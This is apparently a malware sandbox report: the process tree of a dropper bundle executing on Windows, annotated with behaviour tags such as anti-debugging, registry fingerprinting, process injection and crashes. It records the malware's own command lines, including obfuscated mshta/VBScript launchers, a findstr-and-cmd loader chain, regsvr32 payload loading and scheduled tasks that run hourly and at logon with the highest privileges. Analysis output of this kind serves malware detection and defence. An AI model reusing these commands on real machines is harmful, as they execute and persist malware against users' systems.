- Checks processor information in registry
PID:4056
-
-
-
C:\Users\Admin\Documents\KDsdfNe3cFBuxOuZWyTmvZ4C.exe"C:\Users\Admin\Documents\KDsdfNe3cFBuxOuZWyTmvZ4C.exe"5⤵PID:4244
-
C:\Windows\SysWOW64\dllhost.exedllhost.exe6⤵PID:6868
-
-
C:\Windows\SysWOW64\cmd.execmd /c cmd < Nobile.docm6⤵PID:6780
-
C:\Windows\SysWOW64\cmd.execmd7⤵PID:7116
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^mFzuIhvmvbdHpfegBQvdRBWtkZruqmiMQZvPfzkmbfdsclZwZBnIIvmXJgVJldnWdERlThYiFXSCkFJqZwimwmrxmnuwnBfiQxqRzPi$" Vederlo.docm8⤵PID:3424
-
-
C:\Windows\SysWOW64\PING.EXEping localhost8⤵
- Runs ping.exe
PID:4028
-
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.comRimasta.exe.com J8⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of SendNotifyMessage
PID:6724 -
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.comC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.com J9⤵
- Suspicious use of SendNotifyMessage
PID:5456 -
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.comC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.com J10⤵
- Suspicious use of SendNotifyMessage
PID:660 -
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.comC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.com J11⤵
- Suspicious use of SendNotifyMessage
PID:3188 -
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.comC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.com J12⤵PID:6280
-
-
-
-
-
-
-
-
-
C:\Users\Admin\Documents\oW0n8Es6KeqSFJwC85v9EtCL.exe"C:\Users\Admin\Documents\oW0n8Es6KeqSFJwC85v9EtCL.exe"5⤵PID:944
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST6⤵
- Creates scheduled task(s)
PID:3864
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST6⤵
- Creates scheduled task(s)
PID:4168
-
-
C:\Users\Admin\Documents\qT3dWYBP7ZsuOrwW4ZcUbjl6.exe"C:\Users\Admin\Documents\qT3dWYBP7ZsuOrwW4ZcUbjl6.exe"6⤵PID:6436
-
C:\Users\Admin\Documents\BfUWdcxENjqcDqnip7FgKdkr.exe"C:\Users\Admin\Documents\BfUWdcxENjqcDqnip7FgKdkr.exe"7⤵PID:6828
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6828 -s 2808⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:6348
-
-
-
C:\Users\Admin\Documents\3gX0bppSU6yu_EocS4ka3Sih.exe"C:\Users\Admin\Documents\3gX0bppSU6yu_EocS4ka3Sih.exe"7⤵PID:6664
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBSCRIPT: cLOsE(creatEoBjECT ( "wScRiPt.shELl"). RuN ("CMD /c TypE ""C:\Users\Admin\Documents\3gX0bppSU6yu_EocS4ka3Sih.exe"" > gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if """" =="""" for %B iN ( ""C:\Users\Admin\Documents\3gX0bppSU6yu_EocS4ka3Sih.exe"" ) do taskkill /Im ""%~NxB"" /F " ,0 , tRUe) )8⤵PID:1812
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c TypE "C:\Users\Admin\Documents\3gX0bppSU6yu_EocS4ka3Sih.exe"> gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if "" =="" for %B iN ( "C:\Users\Admin\Documents\3gX0bppSU6yu_EocS4ka3Sih.exe" ) do taskkill /Im "%~NxB" /F9⤵PID:2120
-
C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXEGZ9~4QZ~O.EXe -P6_oIH__Ioj5q10⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:2152 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBSCRIPT: cLOsE(creatEoBjECT ( "wScRiPt.shELl"). RuN ("CMD /c TypE ""C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE"" > gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if ""-P6_oIH__Ioj5q "" =="""" for %B iN ( ""C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE"" ) do taskkill /Im ""%~NxB"" /F " ,0 , tRUe) )11⤵PID:3712
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c TypE "C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE"> gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if "-P6_oIH__Ioj5q " =="" for %B iN ( "C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE" ) do taskkill /Im "%~NxB" /F12⤵PID:3448
-
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" T~DJNB.F -u /S11⤵PID:4460
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /Im "3gX0bppSU6yu_EocS4ka3Sih.exe" /F10⤵
- Kills process with taskkill
PID:3848
-
-
-
-
-
C:\Users\Admin\Documents\E_SWj0IlUxKmMhlMBSOPAI6j.exe"C:\Users\Admin\Documents\E_SWj0IlUxKmMhlMBSOPAI6j.exe" /mixtwo7⤵PID:2744
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2744 -s 2848⤵
- Program crash
PID:504
-
-
-
C:\Users\Admin\Documents\RqstzsozX4X9GHBVTADtGJwE.exe"C:\Users\Admin\Documents\RqstzsozX4X9GHBVTADtGJwE.exe"7⤵PID:1948
-
C:\ProgramData\3641447.exe"C:\ProgramData\3641447.exe"8⤵PID:4168
-
-
C:\ProgramData\7271239.exe"C:\ProgramData\7271239.exe"8⤵
- Suspicious behavior: SetClipboardViewer
PID:5244
-
-
C:\ProgramData\769050.exe"C:\ProgramData\769050.exe"8⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:1556
-
-
C:\ProgramData\5894410.exe"C:\ProgramData\5894410.exe"8⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:6192
-
-
C:\ProgramData\7670901.exe"C:\ProgramData\7670901.exe"8⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4396
-
-
C:\ProgramData\6681192.exe"C:\ProgramData\6681192.exe"8⤵PID:132
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 132 -s 23529⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
PID:1812
-
-
-
-
-
-
C:\Users\Admin\Documents\3wGRcebJ3EV_Oki7cZ8g7x2r.exe"C:\Users\Admin\Documents\3wGRcebJ3EV_Oki7cZ8g7x2r.exe"5⤵PID:1720
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1720 -s 2966⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:6184
-
-
-
C:\Users\Admin\Documents\Bjs9g9T3dKhWaaFF4I1Ndzih.exe"C:\Users\Admin\Documents\Bjs9g9T3dKhWaaFF4I1Ndzih.exe"5⤵PID:3448
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3448 -s 2406⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:3780
-
-
-
C:\Users\Admin\Documents\GXB0r0nLTSKglFJZQMYVe4HY.exe"C:\Users\Admin\Documents\GXB0r0nLTSKglFJZQMYVe4HY.exe"5⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
PID:3840
-
-
C:\Users\Admin\Documents\HOea4LdGAUbYif7rbpYV6jaH.exe"C:\Users\Admin\Documents\HOea4LdGAUbYif7rbpYV6jaH.exe"5⤵
- Suspicious use of SetThreadContext
PID:5444 -
C:\Users\Admin\Documents\HOea4LdGAUbYif7rbpYV6jaH.exe"C:\Users\Admin\Documents\HOea4LdGAUbYif7rbpYV6jaH.exe"6⤵PID:2672
-
-
-
C:\Users\Admin\Documents\XQbCC7QBe_EvrWNLLyGgz1Wo.exe"C:\Users\Admin\Documents\XQbCC7QBe_EvrWNLLyGgz1Wo.exe"5⤵PID:5652
-
C:\Users\Admin\Documents\XQbCC7QBe_EvrWNLLyGgz1Wo.exe"C:\Users\Admin\Documents\XQbCC7QBe_EvrWNLLyGgz1Wo.exe"6⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:3060
-
-
-
C:\Users\Admin\Documents\oB1TvTp2A9kxM22lGyHLTQ13.exe"C:\Users\Admin\Documents\oB1TvTp2A9kxM22lGyHLTQ13.exe"5⤵PID:4944
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpt: CloSE ( CReATEobJECT ( "WscrIpt.SheLL").Run( "cmD.exe /Q /c TYPE ""C:\Users\Admin\Documents\oB1TvTp2A9kxM22lGyHLTQ13.exe"" > X4d4XArNWDu.eXE&& StArt X4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV & if """"== """" for %A IN (""C:\Users\Admin\Documents\oB1TvTp2A9kxM22lGyHLTQ13.exe"" ) do taskkill /f -im ""%~nxA"" " , 0, trUE ) )6⤵PID:3208
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /c TYPE "C:\Users\Admin\Documents\oB1TvTp2A9kxM22lGyHLTQ13.exe"> X4d4XArNWDu.eXE&& StArt X4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV &if ""== "" for %A IN ("C:\Users\Admin\Documents\oB1TvTp2A9kxM22lGyHLTQ13.exe" ) do taskkill /f -im "%~nxA"7⤵PID:2120
-
C:\Users\Admin\AppData\Local\Temp\X4d4XArNWDu.eXEX4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV8⤵PID:6508
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpt: CloSE ( CReATEobJECT ( "WscrIpt.SheLL").Run( "cmD.exe /Q /c TYPE ""C:\Users\Admin\AppData\Local\Temp\X4d4XArNWDu.eXE"" > X4d4XArNWDu.eXE&& StArt X4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV & if ""-PXPoqL0iOUHHP7hXFattB5ZvsV ""== """" for %A IN (""C:\Users\Admin\AppData\Local\Temp\X4d4XArNWDu.eXE"" ) do taskkill /f -im ""%~nxA"" " , 0, trUE ) )9⤵PID:6240
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /c TYPE "C:\Users\Admin\AppData\Local\Temp\X4d4XArNWDu.eXE"> X4d4XArNWDu.eXE&& StArt X4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV &if "-PXPoqL0iOUHHP7hXFattB5ZvsV "== "" for %A IN ("C:\Users\Admin\AppData\Local\Temp\X4d4XArNWDu.eXE" ) do taskkill /f -im "%~nxA"10⤵PID:2008
-
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" -S fOUT6o7J.Mj9⤵PID:6448
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f -im "oB1TvTp2A9kxM22lGyHLTQ13.exe"8⤵
- Kills process with taskkill
PID:6372
-
-
-
-
-
C:\Users\Admin\Documents\XBsXUcxiM7epOwpVj3ViCqSb.exe"C:\Users\Admin\Documents\XBsXUcxiM7epOwpVj3ViCqSb.exe"5⤵PID:1036
-
C:\Users\Admin\Documents\XBsXUcxiM7epOwpVj3ViCqSb.exe"C:\Users\Admin\Documents\XBsXUcxiM7epOwpVj3ViCqSb.exe"6⤵PID:5300
-
-
-
C:\Users\Admin\Documents\8P7YTgQF1EPIT_dUATDbPSWG.exe"C:\Users\Admin\Documents\8P7YTgQF1EPIT_dUATDbPSWG.exe"5⤵
- Suspicious use of SetThreadContext
PID:6620 -
C:\Users\Admin\Documents\8P7YTgQF1EPIT_dUATDbPSWG.exeC:\Users\Admin\Documents\8P7YTgQF1EPIT_dUATDbPSWG.exe6⤵PID:5248
-
-
-
C:\Users\Admin\Documents\tVXi60tXyWhWk_VQkqImojMc.exe"C:\Users\Admin\Documents\tVXi60tXyWhWk_VQkqImojMc.exe"5⤵PID:6544
-
-
C:\Users\Admin\Documents\ZhWJvsavpsXM4fcTm9RMXg1q.exe"C:\Users\Admin\Documents\ZhWJvsavpsXM4fcTm9RMXg1q.exe"5⤵PID:716
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 716 -s 2606⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:5940
-
-
-
C:\Users\Admin\Documents\MFW41Xy4TwtmV0vEkY0BFiId.exe"C:\Users\Admin\Documents\MFW41Xy4TwtmV0vEkY0BFiId.exe"5⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:6696
-
-
C:\Users\Admin\Documents\Ktdq46t5O7MjPO0FixVaBFaj.exe"C:\Users\Admin\Documents\Ktdq46t5O7MjPO0FixVaBFaj.exe"5⤵
- Suspicious behavior: EnumeratesProcesses
PID:444 -
C:\Users\Admin\AppData\Local\Temp\{55F4CB40-B76D-4393-92FA-C8CCCD0E26B1}\Ktdq46t5O7MjPO0FixVaBFaj.exeC:\Users\Admin\AppData\Local\Temp\{55F4CB40-B76D-4393-92FA-C8CCCD0E26B1}\Ktdq46t5O7MjPO0FixVaBFaj.exe /q"C:\Users\Admin\Documents\Ktdq46t5O7MjPO0FixVaBFaj.exe" /tempdisk1folder"C:\Users\Admin\AppData\Local\Temp\{55F4CB40-B76D-4393-92FA-C8CCCD0E26B1}" /IS_temp6⤵PID:2620
-
C:\Windows\SysWOW64\MSIEXEC.EXE"C:\Windows\system32\MSIEXEC.EXE" /i "C:\Users\Admin\AppData\Local\Downloaded Installations\{4175BAA6-49B9-43E5-8B49-E892979E209E}\menageudrivers.msi" SETUPEXEDIR="C:\Users\Admin\Documents" SETUPEXENAME="Ktdq46t5O7MjPO0FixVaBFaj.exe"7⤵
- Enumerates connected drives
PID:6968 -
C:\Users\Admin\AppData\Local\Temp\MSIB417.tmp"C:\Users\Admin\AppData\Local\Temp\MSIB417.tmp"8⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
PID:3764
-
-
C:\Users\Admin\AppData\Local\Temp\MSIB3F5.tmp"C:\Users\Admin\AppData\Local\Temp\MSIB3F5.tmp"8⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
PID:1988
-
-
C:\Users\Admin\AppData\Local\Temp\MSIB406.tmp"C:\Users\Admin\AppData\Local\Temp\MSIB406.tmp"8⤵PID:1384
-
-
-
-
-
C:\Users\Admin\Documents\uCUQcm6ADJMityWStcs0iUlh.exe"C:\Users\Admin\Documents\uCUQcm6ADJMityWStcs0iUlh.exe"5⤵PID:6924
-
-
C:\Users\Admin\Documents\xHr_f5jhieJYxX2ViQXkCaSX.exe"C:\Users\Admin\Documents\xHr_f5jhieJYxX2ViQXkCaSX.exe"5⤵PID:4772
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4772 -s 2366⤵
- Program crash
- Enumerates system info in registry
PID:256
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\028d53f5224f9cc8c60bd953504f1efa.exe"C:\Users\Admin\AppData\Local\Temp\028d53f5224f9cc8c60bd953504f1efa.exe"4⤵PID:5200
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5200 -s 2365⤵
- Program crash
PID:2828
-
-
-
C:\Users\Admin\AppData\Local\Temp\Cleanpro12.exe"C:\Users\Admin\AppData\Local\Temp\Cleanpro12.exe"4⤵PID:5196
-
C:\Users\Admin\Documents\UIQQUPeoe7rIIBLw6ybwAOpp.exe"C:\Users\Admin\Documents\UIQQUPeoe7rIIBLw6ybwAOpp.exe"5⤵
- Suspicious use of SetThreadContext
PID:1188 -
C:\Users\Admin\Documents\UIQQUPeoe7rIIBLw6ybwAOpp.exeC:\Users\Admin\Documents\UIQQUPeoe7rIIBLw6ybwAOpp.exe6⤵PID:7104
-
-
-
C:\Users\Admin\Documents\KF96W8QkRXdA2UXD3wZbnmWu.exe"C:\Users\Admin\Documents\KF96W8QkRXdA2UXD3wZbnmWu.exe"5⤵
- Drops file in Program Files directory
PID:944 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 944 -s 2646⤵
- Drops file in Windows directory
- Program crash
- Checks SCSI registry key(s)
- Checks processor information in registry
- Enumerates system info in registry
PID:7056
-
-
-
C:\Users\Admin\Documents\CJKHHbEgQbFEmjzrU8X9yyPo.exe"C:\Users\Admin\Documents\CJKHHbEgQbFEmjzrU8X9yyPo.exe"5⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of SetThreadContext
PID:5980 -
C:\Users\Admin\Documents\CJKHHbEgQbFEmjzrU8X9yyPo.exe"C:\Users\Admin\Documents\CJKHHbEgQbFEmjzrU8X9yyPo.exe"6⤵PID:6728
-
-
-
C:\Users\Admin\Documents\gnUQJrjsin5B4SuLkCOWd9fe.exe"C:\Users\Admin\Documents\gnUQJrjsin5B4SuLkCOWd9fe.exe"5⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2832
-
-
C:\Users\Admin\Documents\5HJnSrVGMsxubcpky3bfQNhm.exe"C:\Users\Admin\Documents\5HJnSrVGMsxubcpky3bfQNhm.exe"5⤵
- Adds Run key to start application
PID:4176 -
C:\Windows\SysWOW64\dllhost.exedllhost.exe6⤵PID:6176
-
-
C:\Windows\SysWOW64\cmd.execmd /c cmd < Nobile.docm6⤵PID:6860
-
C:\Windows\SysWOW64\cmd.execmd7⤵PID:1180
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^mFzuIhvmvbdHpfegBQvdRBWtkZruqmiMQZvPfzkmbfdsclZwZBnIIvmXJgVJldnWdERlThYiFXSCkFJqZwimwmrxmnuwnBfiQxqRzPi$" Vederlo.docm8⤵PID:3180
-
-
C:\Windows\SysWOW64\PING.EXEping localhost8⤵
- Runs ping.exe
PID:6720
-
-
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Rimasta.exe.comRimasta.exe.com J8⤵
- Suspicious use of SendNotifyMessage
PID:3832 -
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Rimasta.exe.comC:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Rimasta.exe.com J9⤵
- Suspicious use of SendNotifyMessage
PID:7368 -
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Rimasta.exe.comC:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Rimasta.exe.com J10⤵
- Suspicious use of SendNotifyMessage
PID:7696 -
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Rimasta.exe.comC:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Rimasta.exe.com J11⤵
- Suspicious use of SendNotifyMessage
PID:8140 -
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Rimasta.exe.comC:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Rimasta.exe.com J12⤵PID:7292
-
-
-
-
-
-
-
-
-
C:\Users\Admin\Documents\zBrRrWHzzmw3bgQncO5FDEdI.exe"C:\Users\Admin\Documents\zBrRrWHzzmw3bgQncO5FDEdI.exe"5⤵PID:1580
-
-
C:\Users\Admin\Documents\xmbVrgCHoe3ubhyrmSiTTBGU.exe"C:\Users\Admin\Documents\xmbVrgCHoe3ubhyrmSiTTBGU.exe"5⤵PID:1464
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1464 -s 2846⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:6520
-
-
-
C:\Users\Admin\Documents\uNd4EyuGG5VgzoSPv1w6MflH.exe"C:\Users\Admin\Documents\uNd4EyuGG5VgzoSPv1w6MflH.exe"5⤵
- Drops file in Program Files directory
PID:5632 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST6⤵
- Adds Run key to start application
- Creates scheduled task(s)
PID:4244 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵PID:3180
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST6⤵
- Creates scheduled task(s)
PID:4012
-
-
-
C:\Users\Admin\Documents\2SyYFrtsnhk5F2YhyFxQm1HU.exe"C:\Users\Admin\Documents\2SyYFrtsnhk5F2YhyFxQm1HU.exe"5⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
PID:3572
-
-
C:\Users\Admin\Documents\5jRNOktaE5TMChl4IoJaY5he.exe"C:\Users\Admin\Documents\5jRNOktaE5TMChl4IoJaY5he.exe"5⤵
- Suspicious use of SetThreadContext
PID:3152 -
C:\Users\Admin\Documents\5jRNOktaE5TMChl4IoJaY5he.exe"C:\Users\Admin\Documents\5jRNOktaE5TMChl4IoJaY5he.exe"6⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:8132
-
-
-
C:\Users\Admin\Documents\3QbsHvcavJPvqn3kjyDg2Neh.exe"C:\Users\Admin\Documents\3QbsHvcavJPvqn3kjyDg2Neh.exe"5⤵PID:6656
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6656 -s 2966⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:4876
-
-
-
C:\Users\Admin\Documents\ptI0arNeCD1Mago5KyrK83Iy.exe"C:\Users\Admin\Documents\ptI0arNeCD1Mago5KyrK83Iy.exe"5⤵PID:4316
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4316 -s 2406⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:1548
-
-
-
C:\Users\Admin\Documents\XoQg6z_cm1IlWJn4zOK0VV4Y.exe"C:\Users\Admin\Documents\XoQg6z_cm1IlWJn4zOK0VV4Y.exe"5⤵PID:6580
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6580 -s 2806⤵
- Program crash
- Enumerates system info in registry
PID:7524
-
-
-
C:\Users\Admin\Documents\zKi1OroDVtzbufGwaju7_vYZ.exe"C:\Users\Admin\Documents\zKi1OroDVtzbufGwaju7_vYZ.exe"5⤵PID:2236
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2236 -s 2406⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:6040
-
-
-
C:\Users\Admin\Documents\VKPcsEqbvZDAvGffunjgcDEU.exe"C:\Users\Admin\Documents\VKPcsEqbvZDAvGffunjgcDEU.exe"5⤵
- Suspicious use of SetThreadContext
PID:4464 -
C:\Users\Admin\Documents\VKPcsEqbvZDAvGffunjgcDEU.exe"C:\Users\Admin\Documents\VKPcsEqbvZDAvGffunjgcDEU.exe"6⤵PID:6592
-
-
-
C:\Users\Admin\Documents\OQuBjOqbs4PW4KA4CVez8XDl.exe"C:\Users\Admin\Documents\OQuBjOqbs4PW4KA4CVez8XDl.exe"5⤵PID:6908
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpt: CloSE ( CReATEobJECT ( "WscrIpt.SheLL").Run( "cmD.exe /Q /c TYPE ""C:\Users\Admin\Documents\OQuBjOqbs4PW4KA4CVez8XDl.exe"" > X4d4XArNWDu.eXE&& StArt X4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV & if """"== """" for %A IN (""C:\Users\Admin\Documents\OQuBjOqbs4PW4KA4CVez8XDl.exe"" ) do taskkill /f -im ""%~nxA"" " , 0, trUE ) )6⤵PID:5144
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /c TYPE "C:\Users\Admin\Documents\OQuBjOqbs4PW4KA4CVez8XDl.exe"> X4d4XArNWDu.eXE&& StArt X4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV &if ""== "" for %A IN ("C:\Users\Admin\Documents\OQuBjOqbs4PW4KA4CVez8XDl.exe" ) do taskkill /f -im "%~nxA"7⤵
- Executes dropped EXE
PID:3972 -
C:\Windows\SysWOW64\taskkill.exetaskkill /f -im "OQuBjOqbs4PW4KA4CVez8XDl.exe"8⤵
- Kills process with taskkill
PID:7356
-
-
C:\Users\Admin\AppData\Local\Temp\X4d4XArNWDu.eXEX4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV8⤵PID:7328
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpt: CloSE ( CReATEobJECT ( "WscrIpt.SheLL").Run( "cmD.exe /Q /c TYPE ""C:\Users\Admin\AppData\Local\Temp\X4d4XArNWDu.eXE"" > X4d4XArNWDu.eXE&& StArt X4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV & if ""-PXPoqL0iOUHHP7hXFattB5ZvsV ""== """" for %A IN (""C:\Users\Admin\AppData\Local\Temp\X4d4XArNWDu.eXE"" ) do taskkill /f -im ""%~nxA"" " , 0, trUE ) )9⤵PID:7572
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /c TYPE "C:\Users\Admin\AppData\Local\Temp\X4d4XArNWDu.eXE"> X4d4XArNWDu.eXE&& StArt X4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV &if "-PXPoqL0iOUHHP7hXFattB5ZvsV "== "" for %A IN ("C:\Users\Admin\AppData\Local\Temp\X4d4XArNWDu.eXE" ) do taskkill /f -im "%~nxA"10⤵PID:7928
-
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" -S fOUT6o7J.Mj9⤵
- Suspicious use of SetThreadContext
PID:1036
-
-
-
-
-
-
C:\Users\Admin\Documents\p0EnpRiy0N46RsLZunzWJN4_.exe"C:\Users\Admin\Documents\p0EnpRiy0N46RsLZunzWJN4_.exe"5⤵PID:4576
-
-
C:\Users\Admin\Documents\IQbCspMBmg4o_590YQfHZbkr.exe"C:\Users\Admin\Documents\IQbCspMBmg4o_590YQfHZbkr.exe"5⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:6616
-
-
C:\Users\Admin\Documents\xq1toKAtEcop3zevxwIsqq3J.exe"C:\Users\Admin\Documents\xq1toKAtEcop3zevxwIsqq3J.exe"5⤵PID:6556
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6556 -s 2366⤵
- Program crash
- Checks processor information in registry
PID:8104
-
-
-
C:\Users\Admin\Documents\fV4tbDseb1ySEIJGTqg4jBHb.exe"C:\Users\Admin\Documents\fV4tbDseb1ySEIJGTqg4jBHb.exe"5⤵PID:8080
-
C:\Users\Admin\AppData\Local\Temp\{4257F805-D837-4D64-9E4C-3743F84733C4}\fV4tbDseb1ySEIJGTqg4jBHb.exeC:\Users\Admin\AppData\Local\Temp\{4257F805-D837-4D64-9E4C-3743F84733C4}\fV4tbDseb1ySEIJGTqg4jBHb.exe /q"C:\Users\Admin\Documents\fV4tbDseb1ySEIJGTqg4jBHb.exe" /tempdisk1folder"C:\Users\Admin\AppData\Local\Temp\{4257F805-D837-4D64-9E4C-3743F84733C4}" /IS_temp6⤵
- Modifies registry class
PID:7128 -
C:\Windows\SysWOW64\MSIEXEC.EXE"C:\Windows\system32\MSIEXEC.EXE" /i "C:\Users\Admin\Documents\menageudrivers.msi" SETUPEXEDIR="C:\Users\Admin\Documents" SETUPEXENAME="fV4tbDseb1ySEIJGTqg4jBHb.exe"7⤵
- Enumerates connected drives
PID:7408 -
C:\Users\Admin\AppData\Local\Temp\MSIBFB5.tmp"C:\Users\Admin\AppData\Local\Temp\MSIBFB5.tmp"8⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
PID:3384
-
-
C:\Users\Admin\AppData\Local\Temp\MSIBFA5.tmp"C:\Users\Admin\AppData\Local\Temp\MSIBFA5.tmp"8⤵PID:7892
-
-
